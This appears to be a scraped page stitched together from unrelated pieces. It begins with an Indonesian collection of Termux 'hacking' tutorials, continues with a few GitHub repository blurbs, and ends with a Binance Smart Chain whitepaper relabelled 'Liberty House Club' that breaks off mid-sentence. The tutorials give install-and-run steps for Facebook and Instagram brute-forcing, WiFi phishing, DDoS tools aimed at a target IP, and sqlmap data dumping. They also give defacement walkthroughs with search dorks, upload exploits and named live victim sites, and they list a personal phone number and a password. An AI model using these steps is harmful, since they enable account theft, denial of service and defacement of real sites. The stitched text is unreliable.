ruby cowsay toilet figlet $ pkg install neofetch $ pkg install nano $ gem install lolcat $ cd ../usr/etc $ nano bash.bashrc cowsay -f eyes Cyber | lolcat toilet -f standard Indonesia -F gay neofetch date | lolcat ✓ Hack FB rombongan $ apt update && apt upgrade $ pkg install python2 git $ pip2 install mechanize $ git clone http://github.com/pirmansx/mbf $ ls $ cd mbf $ python2 MBF.py ✓ Hack FB ngincer $ Apt update ( Enter ) $ Apt upgrade ( Enter ) $ Apt install python2 ( Enter ) $ pip2 install urllib3 chardet certifi idna requests ( Enter ) $ apt install openssl curl ( Enter ) $ pkg install libcurl ( Enter ) $ ln /sdcard ( Enter ) $ cd /sdcard ( Enter ) $ python2 fbbrute.py ( Enter ) ✓ Hack Gmail apt-get update && apt-get upgrade $ apt-get install git $ apt-get install python python-pip python-setuptools $ pip install scapy $ git clone https://github.com/wifiphisher/wifiphisher.git $ cd wifiphisher< $ python setup.py install $ cd wifiphisher $ python wifiphisher Nih yang mau hack WiFi Khusus root $apt update $apt upgrade $apt install git $git clone https://github.com/esc0rtd3w/wifi-hacker $ls $cd Ni KUMPULAN TUTOR TERMUX [X SCREW UP X] *HACK INSTAGRAM* ( sosial engineering) $ apt update && apt upgrade $ pkg install python $ pkg install git $ pkg install nano $ git clone https://github.com/avramit/instahack.git $ ls $ cd instahack $ ls $ pip install requests $ cd instahack $ nano pass.txt $ cat pass.txt $ ls $ python hackinsta.py Localizar ip Apt install python git git clone https://github.com/maldevel/IPGeoLocation.git cd IPGeoLocation chmod +x ipgeoLocation.py pip install -r requirements.txt python ipgeolocation.py -m python ipgeolocation.py -t http://www.google.com Lacak IP git clone https://github.com/maldevel/IPGeolocation cd IPGeolocation chmod +x ipgeolocation.py pip install -r requirements.txt python ipgeolocation.py -m python ipgeolocation.py -t IP yang ingin dilacak TOOL DDOS VIA TERMUX 1. Hammer $ pkg update (tekan enter) $ pkg upgrade (tekan enter) $ pkg install python (tekan enter) $ pkg install git (tekan enter) $ git clone https://github.com/cyweb/hammer (tekan enter) $ cd hammer (tekan enter) $ python hammer.py (tekan enter) $ python hammer.py -s [IP target] -p [port] -t 135 (tekan enter) 2. Xerxes $ apt install git $ apt install clang $ git clone https://github.com/zanyarjamal/xerxes $ ls $ cd xerxes $ ls $ clang xerxes.c -o xerxes $ ls $ ./xerxes (nama website) 80 3. Torshammer $ pkg update $ pkg install git $ apt install tor $ pkg install python2 $ git clone https://github.com/dotfighter/torshammer.git $ ls $ cd torshammer $ python2 torshammer.py 4. liteDDOS $ apt update $ apt upgrade $ pkg install git $ pkg install python2 $ git clone https://github.com/4L13199/LITEDDOS $ cd LITEDDOS $ python2 liteDDOS.py RED_HAWK tool $ apt update $ apt install git $ git clone https://github.com/Tuhinshubhra/RED_HAWK $ cd RED_HAWK $ chmod +x rhawk.php $ apt install php $ ls $ php rhawk.php ```Install webdav ``` $ apt update && upgrade $ apt install python2 $ pip2 install urllib3 chardet certifi idna requests $ apt install openssl curl $ pkg install libcurl $ ln -s /sdcard $ cd sdcard $ mkdir webdav $ cd webdav Tutorial Install *Tools-B4J1N64Nv5* pkg install update pkg install git pkg install toilet pkg install figlet pip2 install lolcat git clone https://github.com/DarknessCyberTeam/B4J1N64Nv5 cd B4J1N64Nv5 sh B4J1N64N.sh cara install termux ubuntu - apt update/pkg update - apt upgrade/pkg upgrade - pkg install git - pkg install proot - pkg install wget - git clone https://github.com/Neo-Oli/termux-ubuntu - cd termux-ubuntu - chmod +x ubuntu.sh - pip install -r requirements.txt - ./ubuntu.sh Untuk menjalankan - ./start.sh Cara install github tembak XL Dari awal 1.pkg upgrade 2.pkg update 3.pkg install git 4.pkg install python 5.git clone https://github.com/albertoanggi/xl-py 6.pip install -r requirements.txt 7.chmod +x app.py 8.python/python2 app.py *Install admin finder in termux* $ apt update && apt upgrade $ pkg install python2 $ pkg install git $ git clone https://github.com/AdheBolo/AdminFinder *Menjalankan* $ ls $ cd AdminFinder $ chmod 777 AdminFinder.py $ python2 AdminFinder.py *Cara install tool Mr.Rv1.1* $apt update && apt upgrade $pkg install git $pkg install gem $pkg install figlet $gem install lolcat $git clone https://github.com/Mr-R225/Mr.Rv1.1 $cd Mr.Rv1.1 $sh Mr.Rv1.1.sh tool install $ apt update && apt upgrade $ apt install git $ git clone https://github.com/aryanrtm/4wsectools cd 4wsectools chmod 777 tools ./tools TOOL FSOCIETY $ git clone https://github.com/manisso/fsociety $ cd fsociety $ ./install.sh $ ls $ python2 fsociety.py SQLMAP apt update apt install python apt install python2 apt install git git clone https://github.com/sqlmapproject/sqlmap https://github.com/sqlmapproject/sqlmap.git cd sqlmap Python2 sqlmap.py Exemplo Python2 sqlmap.py -u website –dbs -D acuart –tables -D acuart -T users –columns -D acuart -T users -C name,email,phone -dump BUSCA PAINEL ADM DE SITE pkg install git git clone https://github.com/Techzindia/admin_penal cd admin_penal chmod +x admin_panel_finder.py python2 admin_panel_finder.py HAKKU apt install pytho apt install git mkdir vasu git clone https://github.com/4shadoww/hakkuframework cd hakkuframework chmod +x hakku python hakku show modules use whois show options set target examplesite.com run TOOL D-TECT apt update apt install git git clone https://github.com/shawarkhanethicalhacker/D-TECT cd D-TECT apt install python2 chmod +x d-tect.py python2 d-tect.py examplesite.com viSQL apt update apt install python2 apt install git git clone https://github.com/blackvkng/viSQL cd viSQL python2 -m pip install -r requirements.txt python2 viSQL.py python2 viSQL.py -t http://www.bible-history.com Hash Buster apt update apt upgrade apt install python2 apt install git git clone https://github.com/UltimateHackers/Hash-Buster cd Hash-Buster python2 hash.py tool ubuntu $ apt update $ apt install git $ apt install wget $ apt install proot $ git clone https://github.com/Neo-Oli/termux-ubu… $ cd termux-ubuntu $ chmod +x ubuntu.sh $ ./ubuntu.sh $ ./start.sh (````Install``` *Hunner framework*) $ apt update $ apt install python $ apt install git -y $ git clone https://github.com/b3-v3r/Hunner $ cd Hunner $ chmod 777 hunner.py $ python hunner.py *Cara Install Lazymux di Termux* $ pkg update && upgrade $ pkg install python2 $ pkg install git $ git clone https://github.com/Gameye98/Lazymux $ cd Lazymux $ chmod +x lazymux.py $ python2 lazymux.py Cara install tools daijobu* Fungsinya nanti liat sendiri lah di dalem tools nya $apt upgrade && apt update $apt install php $apt install git Kalo udah selesai langsung masukan git nya dengan perintah $git clone https://github.com/alintamvanz/diejoubu $cd diejoubu $cd v1.2 $php diejoubu.php Hecker RECONDOG apt update apt install python python2 apt install git git clone https://github.com/UltimateHackers/ReconDog cd ReconDog chmod +x dog.py Python2 dog.py DEFACE Hacking Script-Deface $apt update $apt upgrade $apt install git $apt install python2 $git clone https://github.com/Ubaii/script-deface-creator $ls $cd script-deface-creator $ls $chmod +x create.py $ls $python2 create.py done semoga bisa bikin script Html CARA DEFACE Cara1 Siapkan script sendiri.. 1.buka browser kalian apa saja terserah lalu ke google 2.tulis dork nya berikut ini (inurl:"sitefinity/login.aspx) tanpa tanda buka kurung dan tutup kurung! lalu search 3.pilih lah salah satu website terserah kalian,klik website nya lalu tambahkan exploit nya sebagai berikut (sitefinity/usercontrols/dialog/documenteditordialog.aspx) tanpa buka tutup kurung! E http://sitetarget*org/sitefinity/usercontrols/dialogs/documenteditordialog.aspx 4.lalu klik search kembali! nah disitu kalian klik chose file dan pilih script deface punya kalian 5.klik yang di bawah nya tunggu sampai loading selesai 6.tambah link target tadi dengan (/files) contoh http://sitetarget*org/files/namascriptdefacekalian.html lalu klik search 7.selesai!! Cara2 Method/metode KCFinder Inurl:/kcfinder/browse.php Inurl:/Kcfinder/ Langsung saja upload file deface anda,lalu panggil dengan tambahan /file/namasckamu.html Contoh: https://basukiwater.com/kcfinder/browse.php jadi https://basukiwater.com/file/namasckamu.html cara3 Deface Onion.to File Upload Tutor ini sekarang lagi Ngtreend & Simple , tapi ingat ya bukan Deepweb melaikan Fake Deepweb hehehe... Mari kita Lanjut... Dork : - inurl:/upload site:.onion.to - intext:"Upload" site:.onion.to Live : https://tt3j2x4k5ycaa5zt.onion.to/upload.php Step By Step : 1. Dorking Dulu 2. Pilih Web Target 3. Pilih File yang mau di'upload 4. Tinggal klik Upload => Done 😆 Contoh Target : https://tt3j2x4k5ycaa5zt.onion.to/uploads/lopeyou.html https://danwin1210.me/uploads/lopeyou.html https://temp.xn--wda.fr/e719x8JgJ.html Mirror?! 😆 https://www.defacer.id/296011.html https://www.defacer.id/296024.html cara4 Metode com media Bahan : 1. Dork : - inurl:com_media site:com - inurl:com_media intext:"Upload" 2. Exploit : /index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder= 3. Upload'an : Format .txt 😁 Live Target : http://www.james-insurance.co.uk/ Step by Step : gunakan Live Targert dulu untuk Uji Coba 😁 1. Masukkan dork : inurl:com_media intext:"Upload" site:co.uk 2. Pilih salah satu Web 3. Masukkan Exploit http://www.james-insurance.co.uk/index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder= 4. Lalu Upload file dalam tempat upload ( format .txt ) Akses shell ? Tambahkan : /images/namafile.txt contoh : http://www.james-insurance.co.uk/images/fac.txt Nanti Jadi Gini Hasilnyaa.. Mudah Bukan?! Tinggal Upload ke Defacer.id 😁 cara5 [POC] Vulnerability Simplicity Of Upload #Step 1: Dork: “Powered By: © Simplicity oF Upload” #Step 2: Exploit: http://[situstargetkamu]/PATH/upload.php *Tergantung dengan target. #Step 3: llowed file: gif, jpg, png, txt, php, asp, cgi, zip, exe, mp3, etc (not allowed for html) #Step 4: Preview: http://[situstargetkamu]/upload/[Your File] #Step 5: Live Demo: http://www.railfaneurope.net/pix/upload.php http://www.formplas.com/upload/upload.php Nah, saya kira cukup segitu aja kok, karena mudah tuh tutorial nya. Al in one crip termux $ apt update && apt upgrade $ pkg install php figlet ruby python python2 $ pip2 install lolcat $ git clone https://github.com/Rusmana-ID/rus $ cd $ cd rus $ ls $ sh v2.sh Kontak wa 083879017166 Note: user name:Rusmana Pasword:X-One
seladb / Github Traffic StatsA small Python project to pull and store traffic stats for GitHub projects using GitHub API
ropensci-archive / Ghrecipes:no_entry: ARCHIVED :no_entry: Provides some helper functions for using the GitHub V4 API
konzy / Mass CloneThis is a shell script that will clone multiple repositories. The intended usage is for GitHub Classroom to be able to clone all repos of a certain assignment. The script will create a folder based on the identifier(assignment name) then make folders for each repo then clone. Uses GitHub api v3, curl 7.49.1 and grep 2.5.1
dhanushreddy291 / Docstring GeneratorA Simple Github Action that adds docstrings to Python functions by analysing code using OpenAI's GPT3 API
Mdshobu / Liberty House Club Whitepaper# Liberty House Club **A Parallel Binance Chain to Enable Smart Contracts** _NOTE: This document is under development. Please check regularly for updates!_ ## Table of Contents - [Motivation](#motivation) - [Design Principles](#design-principles) - [Consensus and Validator Quorum](#consensus-and-validator-quorum) * [Proof of Staked Authority](#proof-of-staked-authority) * [Validator Quorum](#validator-quorum) * [Security and Finality](#security-and-finality) * [Reward](#reward) - [Token Economy](#token-economy) * [Native Token](#native-token) * [Other Tokens](#other-tokens) - [Cross-Chain Transfer and Communication](#cross-chain-transfer-and-communication) * [Cross-Chain Transfer](#cross-chain-transfer) * [BC to BSC Architecture](#bc-to-bsc-architecture) * [BSC to BC Architecture](#bsc-to-bc-architecture) * [Timeout and Error Handling](#timeout-and-error-handling) * [Cross-Chain User Experience](#cross-chain-user-experience) * [Cross-Chain Contract Event](#cross-chain-contract-event) - [Staking and Governance](#staking-and-governance) * [Staking on BC](#staking-on-bc) * [Rewarding](#rewarding) * [Slashing](#slashing) - [Relayers](#relayers) * [BSC Relayers](#bsc-relayers) * [Oracle Relayers](#oracle-relayers) - [Outlook](#outlook) # Motivation After its mainnet community [launch](https://www.binance.com/en/blog/327334696200323072/Binance-DEX-Launches-on-Binance-Chain-Invites-Further-Community-Development) in April 2019, [Binance Chain](https://www.binance.org) has exhibited its high speed and large throughput design. Binance Chain’s primary focus, its native [decentralized application](https://en.wikipedia.org/wiki/Decentralized_application) (“dApp”) [Binance DEX](https://www.binance.org/trade), has demonstrated its low-latency matching with large capacity headroom by handling millions of trading volume in a short time. Flexibility and usability are often in an inverse relationship with performance. The concentration on providing a convenient digital asset issuing and trading venue also brings limitations. Binance Chain's most requested feature is the programmable extendibility, or simply the [Smart Contract](https://en.wikipedia.org/wiki/Smart_contract) and Virtual Machine functions. Digital asset issuers and owners struggle to add new decentralized features for their assets or introduce any sort of community governance and activities. Despite this high demand for adding the Smart Contract feature onto Binance Chain, it is a hard decision to make. The execution of a Smart Contract may slow down the exchange function and add non-deterministic factors to trading. If that compromise could be tolerated, it might be a straightforward idea to introduce a new Virtual Machine specification based on [Tendermint](https://tendermint.com/core/), based on the current underlying consensus protocol and major [RPC](https://docs.binance.org/api-reference/node-rpc.html) implementation of Binance Chain. But all these will increase the learning requirements for all existing dApp communities, and will not be very welcomed. We propose a parallel blockchain of the current Binance Chain to retain the high performance of the native DEX blockchain and to support a friendly Smart Contract function at the same time. # Design Principles After the creation of the parallel blockchain into the Binance Chain ecosystem, two blockchains will run side by side to provide different services. The new parallel chain will be called “**Binance Smart Chain**” (short as “**BSC**” for the below sections), while the existing mainnet remains named “**Binance Chain**” (short as “**BC**” for the below sections). Here are the design principles of **BSC**: 1. **Standalone Blockchain**: technically, BSC is a standalone blockchain, instead of a layer-2 solution. Most BSC fundamental technical and business functions should be self-contained so that it can run well even if the BC stopped for a short period. 2. **Ethereum Compatibility**: The first practical and widely-used Smart Contract platform is Ethereum. To take advantage of the relatively mature applications and community, BSC chooses to be compatible with the existing Ethereum mainnet. This means most of the **dApps**, ecosystem components, and toolings will work with BSC and require zero or minimum changes; BSC node will require similar (or a bit higher) hardware specification and skills to run and operate. The implementation should leave room for BSC to catch up with further Ethereum upgrades. 3. **Staking Involved Consensus and Governance**: Staking-based consensus is more environmentally friendly and leaves more flexible option to the community governance. Expectedly, this consensus should enable better network performance over [proof-of-work](https://en.wikipedia.org/wiki/Proof_of_work) blockchain system, i.e., faster blocking time and higher transaction capacity. 4. **Native Cross-Chain Communication**: both BC and BSC will be implemented with native support for cross-chain communication among the two blockchains. The communication protocol should be bi-directional, decentralized, and trustless. It will concentrate on moving digital assets between BC and BSC, i.e., [BEP2](https://github.com/binance-chain/BEPs/blob/master/BEP2.md) tokens, and eventually, other BEP tokens introduced later. The protocol should care for the minimum of other items stored in the state of the blockchains, with only a few exceptions. # Consensus and Validator Quorum Based on the above design principles, the consensus protocol of BSC is to fulfill the following goals: 1. Blocking time should be shorter than Ethereum network, e.g. 5 seconds or even shorter. 2. It requires limited time to confirm the finality of transactions, e.g. around 1-min level or shorter. 3. There is no inflation of native token: BNB, the block reward is collected from transaction fees, and it will be paid in BNB. 4. It is compatible with Ethereum system as much as possible. 5. It allows modern [proof-of-stake](https://en.wikipedia.org/wiki/Proof_of_stake) blockchain network governance. ## Proof of Staked Authority Although Proof-of-Work (PoW) has been recognized as a practical mechanism to implement a decentralized network, it is not friendly to the environment and also requires a large size of participants to maintain the security. Ethereum and some other blockchain networks, such as [MATIC Bor](https://github.com/maticnetwork/bor), [TOMOChain](https://tomochain.com/), [GoChain](https://gochain.io/), [xDAI](https://xdai.io/), do use [Proof-of-Authority(PoA)](https://en.wikipedia.org/wiki/Proof_of_authority) or its variants in different scenarios, including both testnet and mainnet. PoA provides some defense to 51% attack, with improved efficiency and tolerance to certain levels of Byzantine players (malicious or hacked). It serves as an easy choice to pick as the fundamentals. Meanwhile, the PoA protocol is most criticized for being not as decentralized as PoW, as the validators, i.e. the nodes that take turns to produce blocks, have all the authorities and are prone to corruption and security attacks. Other blockchains, such as EOS and Lisk both, introduce different types of [Delegated Proof of Stake (DPoS)](https://en.bitcoinwiki.org/wiki/DPoS) to allow the token holders to vote and elect the validator set. It increases the decentralization and favors community governance. BSC here proposes to combine DPoS and PoA for consensus, so that: 1. Blocks are produced by a limited set of validators 2. Validators take turns to produce blocks in a PoA manner, similar to [Ethereum’s Clique](https://eips.ethereum.org/EIPS/eip-225) consensus design 3. Validator set are elected in and out based on a staking based governance ## Validator Quorum In the genesis stage, a few trusted nodes will run as the initial Validator Set. After the blocking starts, anyone can compete to join as candidates to elect as a validator. The staking status decides the top 21 most staked nodes to be the next validator set, and such an election will repeat every 24 hours. **BNB** is the token used to stake for BSC. In order to remain as compatible as Ethereum and upgradeable to future consensus protocols to be developed, BSC chooses to rely on the **BC** for staking management (Please refer to the below “[Staking and Governance](#staking-and-governance)” section). There is a **dedicated staking module for BSC on BC**. It will accept BSC staking from BNB holders and calculate the highest staked node set. Upon every UTC midnight, BC will issue a verifiable `ValidatorSetUpdate` cross-chain message to notify BSC to update its validator set. While producing further blocks, the existing BSC validators check whether there is a `ValidatorSetUpdate` message relayed onto BSC periodically. If there is, they will update the validator set after an **epoch period**, i.e. a predefined number of blocking time. For example, if BSC produces a block every 5 seconds, and the epoch period is 240 blocks, then the current validator set will check and update the validator set for the next epoch in 1200 seconds (20 minutes). ## Security and Finality Given there are more than ½\*N+1 validators are honest, PoA based networks usually work securely and properly. However, there are still cases where certain amount Byzantine validators may still manage to attack the network, e.g. through the “[Clone Attack](https://arxiv.org/pdf/1902.10244.pdf)”. To secure as much as BC, BSC users are encouraged to wait until receiving blocks sealed by more than ⅔\*N+1 different validators. In that way, the BSC can be trusted at a similar security level to BC and can tolerate less than ⅓\*N Byzantine validators. With 21 validators, if the block time is 5 seconds, the ⅔\*N+1 different validator seals will need a time period of (⅔\*21+1)*5 = 75 seconds. Any critical applications for BSC may have to wait for ⅔\*N+1 to ensure a relatively secure finality. However, besides such arrangement, BSC does introduce **Slashing** logic to penalize Byzantine validators for **double signing** or **inavailability**, which will be covered in the “Staking and Governance” section later. This Slashing logic will expose the malicious validators in a very short time and make the “Clone Attack” very hard or extremely non-beneficial to execute. With this enhancement, ½\*N+1 or even fewer blocks are enough as confirmation for most transactions. ## Reward All the BSC validators in the current validator set will be rewarded with transaction **fees in BNB**. As BNB is not an inflationary token, there will be no mining rewards as what Bitcoin and Ethereum network generate, and the gas fee is the major reward for validators. As BNB is also utility tokens with other use cases, delegators and validators will still enjoy other benefits of holding BNB. The reward for validators is the fees collected from transactions in each block. Validators can decide how much to give back to the delegators who stake their BNB to them, in order to attract more staking. Every validator will take turns to produce the blocks in the same probability (if they stick to 100% liveness), thus, in the long run, all the stable validators may get a similar size of the reward. Meanwhile, the stakes on each validator may be different, so this brings a counter-intuitive situation that more users trust and delegate to one validator, they potentially get less reward. So rational delegators will tend to delegate to the one with fewer stakes as long as the validator is still trustful (insecure validator may bring slashable risk). In the end, the stakes on all the validators will have less variation. This will actually prevent the stake concentration and “winner wins forever” problem seen on some other networks. Some parts of the gas fee will also be rewarded to relayers for Cross-Chain communication. Please refer to the “[Relayers](#relayers)” section below. # Token Economy BC and BSC share the same token universe for BNB and BEP2 tokens. This defines: 1. The same token can circulate on both networks, and flow between them bi-directionally via a cross-chain communication mechanism. 2. The total circulation of the same token should be managed across the two networks, i.e. the total effective supply of a token should be the sum of the token’s total effective supply on both BSC and BC. 3. The tokens can be initially created on BSC in a similar format as ERC20 token standard, or on BC as a BEP2, then created on the other. There are native ways on both networks to link the two and secure the total supply of the token. ## Native Token BNB will run on BSC in the same way as ETH runs on Ethereum so that it remains as “native token” for both BSC and BC. This means, in addition to BNB is used to pay most of the fees on Binance Chain and Binance DEX, BNB will be also used to: 1. pay “fees“ to deploy smart contracts on BSC 2. stake on selected BSC validators, and get corresponding rewards 3. perform cross-chain operations, such as transfer token assets across BC and BSC ### Seed Fund Certain amounts of BNB will be burnt on BC and minted on BSC during its genesis stage. This amount is called “Seed Fund” to circulate on BSC after the first block, which will be dispatched to the initial BC-to-BSC Relayer(described in later sections) and initial validator set introduced at genesis. These BNBs are used to pay transaction fees in the early stage to transfer more BNB from BC onto BSC via the cross-chain mechanism. The BNB cross-chain transfer is discussed in a later section, but for BC to BSC transfer, it is generally to lock BNB on BC from the source address of the transfer to a system-controlled address and unlock the corresponding amount from special contract to the target address of the transfer on BSC, or reversely, when transferring from BSC to BC, it is to lock BNB from the source address on BSC into a special contract and release locked amount on BC from the system address to the target address. The logic is related to native code on BC and a series of smart contracts on BSC. ## Other Tokens BC supports BEP2 tokens and upcoming [BEP8 tokens](https://github.com/binance-chain/BEPs/pull/69), which are native assets transferrable and tradable (if listed) via fast transactions and sub-second finality. Meanwhile, as BSC is Ethereum compatible, it is natural to support ERC20 tokens on BSC, which here is called “**BEP2E**” (with the real name to be introduced by the future BEPs,it potentially covers BEP8 as well). BEP2E may be “Enhanced” by adding a few more methods to expose more information, such as token denomination, decimal precision definition and the owner address who can decide the Token Binding across the chains. BSC and BC work together to ensure that one token can circulate in both formats with confirmed total supply and be used in different use cases. ### Token Binding BEP2 tokens will be extended to host a new attribute to associate the token with a BSC BEP2E token contract, called “**Binder**”, and this process of association is called “**Token Binding**”. Token Binding can happen at any time after BEP2 and BEP2E are ready. The token owners of either BEP2 or BEP2E don’t need to bother about the Binding, until before they really want to use the tokens on different scenarios. Issuers can either create BEP2 first or BEP2E first, and they can be bound at a later time. Of course, it is encouraged for all the issuers of BEP2 and BEP2E to set the Binding up early after the issuance. A typical procedure to bind the BEP2 and BEP2E will be like the below: 1. Ensure both the BEP2 token and the BEP2E token both exist on each blockchain, with the same total supply. BEP2E should have 3 more methods than typical ERC20 token standard: * symbol(): get token symbol * decimals(): get the number of the token decimal digits * owner(): get **BEP2E contract owner’s address.** This value should be initialized in the BEP2E contract constructor so that the further binding action can verify whether the action is from the BEP2E owner. 2. Decide the initial circulation on both blockchains. Suppose the total supply is *S*, and the expected initial circulating supply on BC is *K*, then the owner should lock S-K tokens to a system controlled address on BC. 3. Equivalently, *K* tokens is locked in the special contract on BSC, which handles major binding functions and is named as **TokenHub**. The issuer of the BEP2E token should lock the *K* amount of that token into TokenHub, resulting in *S-K* tokens to circulate on BSC. Thus the total circulation across 2 blockchains remains as *S*. 4. The issuer of BEP2 token sends the bind transaction on BC. Once the transaction is executed successfully after proper verification: * It transfers *S-K* tokens to a system-controlled address on BC. * A cross-chain bind request package will be created, waiting for Relayers to relay. 5. BSC Relayers will relay the cross-chain bind request package into **TokenHub** on BSC, and the corresponding request and information will be stored into the contract. 6. The contract owner and only the owner can run a special method of TokenHub contract, `ApproveBind`, to verify the binding request to mark it as a success. It will confirm: * the token has not been bound; * the binding is for the proper symbol, with proper total supply and decimal information; * the proper lock are done on both networks; 10. Once the `ApproveBind` method has succeeded, TokenHub will mark the two tokens are bounded and share the same circulation on BSC, and the status will be propagated back to BC. After this final confirmation, the BEP2E contract address and decimals will be written onto the BEP2 token as a new attribute on BC, and the tokens can be transferred across the two blockchains bidirectionally. If the ApproveBind fails, the failure event will also be propagated back to BC to release the locked tokens, and the above steps can be re-tried later. # Cross-Chain Transfer and Communication Cross-chain communication is the key foundation to allow the community to take advantage of the dual chain structure: * users are free to create any tokenization, financial products, and digital assets on BSC or BC as they wish * the items on BSC can be manually and programmingly traded and circulated in a stable, high throughput, lighting fast and friendly environment of BC * users can operate these in one UI and tooling ecosystem. ## Cross-Chain Transfer The cross-chain transfer is the key communication between the two blockchains. Essentially the logic is: 1. the `transfer-out` blockchain will lock the amount from source owner addresses into a system controlled address/contracts; 2. the `transfer-in` blockchain will unlock the amount from the system controlled address/contracts and send it to target addresses. The cross-chain transfer package message should allow the BSC Relayers and BC **Oracle Relayers** to verify: 1. Enough amount of token assets are removed from the source address and locked into a system controlled addresses/contracts on the source blockchain. And this can be confirmed on the target blockchain. 2. Proper amounts of token assets are released from a system controlled addresses/contracts and allocated into target addresses on the target blockchain. If this fails, it can be confirmed on source blockchain, so that the locked token can be released back (may deduct fees). 3. The sum of the total circulation of the token assets across the 2 blockchains are not changed after this transfer action completes, no matter if the transfer succeeds or not.  The architecture of cross-chain communication is as in the above diagram. To accommodate the 2 heteroid systems, communication handling is different in each direction. ## BC to BSC Architecture BC is a Tendermint-based, instant finality blockchain. Validators with at least ⅔\*N+1 of the total voting power will co-sign each block on the chain. So that it is practical to verify the block transactions and even the state value via **Block Header** and **Merkle Proof** verification. This has been researched and implemented as “**Light-Client Protocol**”, which are intensively discussed in [the Ethereum](https://github.com/ethereum/wiki/wiki/Light-client-protocol) community, studied and implemented for [Cosmos inter-chain communication](https://github.com/cosmos/ics/blob/a4173c91560567bdb7cc9abee8e61256fc3725e9/spec/ics-007-tendermint-client/README.md). BC-to-BSC communication will be verified in an “**on-chain light client**” implemented via BSC **Smart Contracts** (some of them may be **“pre-compiled”**). After some transactions and state change happen on BC, if a transaction is defined to trigger cross-chain communication,the Cross-chain “**package**” message will be created and **BSC Relayers** will pass and submit them onto BSC as data into the "build-in system contracts". The build-in system contracts will verify the package and execute the transactions if it passes the verification. The verification will be guaranteed with the below design: 1. BC blocking status will be synced to the light client contracts on BSC from time to time, via block header and pre-commits, for the below information: * block and app hash of BC that are signed by validators * current validatorset, and validator set update 2. the key-value from the blockchain state will be verified based on the Merkle Proof and information from above #1. After confirming the key-value is accurate and trustful, the build-in system contracts will execute the actions corresponding to the cross-chain packages. Some examples of such packages that can be created for BC-to-BSC are: 1. Bind: bind the BEP2 tokens and BEP2E 2. Transfer: transfer tokens after binding, this means the circulation will decrease (be locked) from BC and appear in the target address balance on BSC 3. Error Handling: to handle any timeout/failure event for BSC-to-BC communication 4. Validatorset update of BSC To ensure no duplication, proper message sequence and timely timeout, there is a “Channel” concept introduced on BC to manage any types of the communication. For relayers, please also refer to the below “Relayers” section. ## BSC to BC Architecture BSC uses Proof of Staked Authority consensus protocol, which has a chance to fork and requires confirmation of more blocks. One block only has the signature of one validator, so that it is not easy to rely on one block to verify data from BSC. To take full advantage of validator quorum of BC, an idea similar to many [Bridge ](https://github.com/poanetwork/poa-bridge)or Oracle blockchains is adopted: 1. The cross-chain communication requests from BSC will be submitted and executed onto BSC as transactions. The execution of the transanction wil emit `Events`, and such events can be observed and packaged in certain “**Oracle**” onto BC. Instead of Block Headers, Hash and Merkle Proof, this type of “Oracle” package directly contains the cross-chain information for actions, such as sender, receiver and amount for transfer. 2. To ensure the security of the Oracle, the validators of BC will form anothe quorum of “**Oracle Relayers**”. Each validator of the BC should run a **dedicated process** as the Oracle Relayer. These Oracle Relayers will submit and vote for the cross-chain communication package, like Oracle, onto BC, using the same validator keys. Any package signed by more than ⅔\*N+1 Oracle Relayers’ voting power is as secure as any block signed by ⅔\*N+1 of the same quorum of validators’ voting power. By using the same validator quorum, it saves the light client code on BC and continuous block updates onto BC. Such Oracles also have Oracle IDs and types, to ensure sequencing and proper error handling. ## Timeout and Error Handling There are scenarios that the cross-chain communication fails. For example, the relayed package cannot be executed on BSC due to some coding bug in the contracts. **Timeout and error handling logics are** used in such scenarios. For the recognizable user and system errors or any expected exceptions, the two networks should heal themselves. For example, when BC to BSC transfer fails, BSC will issue a failure event and Oracle Relayers will execute a refund on BC; when BSC to BC transfer fails, BC will issue a refund package for Relayer to relay in order to unlock the fund. However, unexpected error or exception may still happen on any step of the cross-chain communication. In such a case, the Relayers and Oracle Relayers will discover that the corresponding cross-chain channel is stuck in a particular sequence. After a Timeout period, the Relayers and Oracle Relayers can request a “SkipSequence” transaction, the stuck sequence will be marked as “Unexecutable”. A corresponding alerts will be raised, and the community has to discuss how to handle this scenario, e.g. payback via the sponsor of the validators, or event clear the fund during next network upgrade. ## Cross-Chain User Experience Ideally, users expect to use two parallel chains in the same way as they use one single chain. It requires more aggregated transaction types to be added onto the cross-chain communication to enable this, which will add great complexity, tight coupling, and maintenance burden. Here BC and BSC only implement the basic operations to enable the value flow in the initial launch and leave most of the user experience work to client side UI, such as wallets. E.g. a great wallet may allow users to sell a token directly from BSC onto BC’s DEX order book, in a secure way. ## Cross-Chain Contract Event Cross-Chain Contract Event (CCCE) is designed to allow a smart contract to trigger cross-chain transactions, directly through the contract code. This becomes possible based on: 1. Standard system contracts can be provided to serve operations callable by general smart contracts; 2. Standard events can be emitted by the standard contracts; 3. Oracle Relayers can capture the standard events, and trigger the corresponding cross-chain operations; 4. Dedicated, code-managed address (account) can be created on BC and accessed by the contracts on the BSC, here it is named as **“Contract Address on BC” (CAoB)**. Several standard operations are implemented: 1. BSC to BC transfer: this is implemented in the same way as normal BSC to BC transfer, by only triggered via standard contract. The fund can be transferred to any addresses on BC, including the corresponding CAoB of the transfer originating contract. 2. Transfer on BC: this is implemented as a special cross-chain transfer, while the real transfer is from **CAoB** to any other address (even another CAoB). 3. BC to BSC transfer: this is implemented as two-pass cross-chain communication. The first is triggered by the BSC contract and propagated onto BC, and then in the second pass, BC will start a normal BC to BSC cross-chain transfer, from **CAoB** to contract address on BSC. A special note should be paid on that the BSC contract only increases balance upon any transfer coming in on the second pass, and the error handling in the second pass is the same as the normal BC to BSC transfer. 4. IOC (Immediate-Or-Cancel) Trade Out: the primary goal of transferring assets to BC is to trade. This event will instruct to trade a certain amount of an asset in CAoB into another asset as much as possible and transfer out all the results, i.e. the left the source and the traded target tokens of the trade, back to BSC. BC will handle such relayed events by sending an “Immediate-Or-Cancel”, i.e. IOC order onto the trading pairs, once the next matching finishes, the result will be relayed back to BSC, which can be in either one or two assets. 5. Auction Trade Out: Such event will instruct BC to send an auction order to trade a certain amount of an asset in **CAoB** into another asset as much as possible and transfer out all the results back to BSC at the end of the auction. Auction function is upcoming on BC. There are some details for the Trade Out: 1. both can have a limit price (absolute or relative) for the trade; 2. the end result will be written as cross-chain packages to relay back to BSC; 3. cross-chain communication fees may be charged from the asset transferred back to BSC; 4. BSC contract maintains a mirror of the balance and outstanding orders on CAoB. No matter what error happens during the Trade Out, the final status will be propagated back to the originating contract and clear its internal state. With the above features, it simply adds the cross-chain transfer and exchange functions with high liquidity onto all the smart contracts on BSC. It will greatly add the application scenarios on Smart Contract and dApps, and make 1 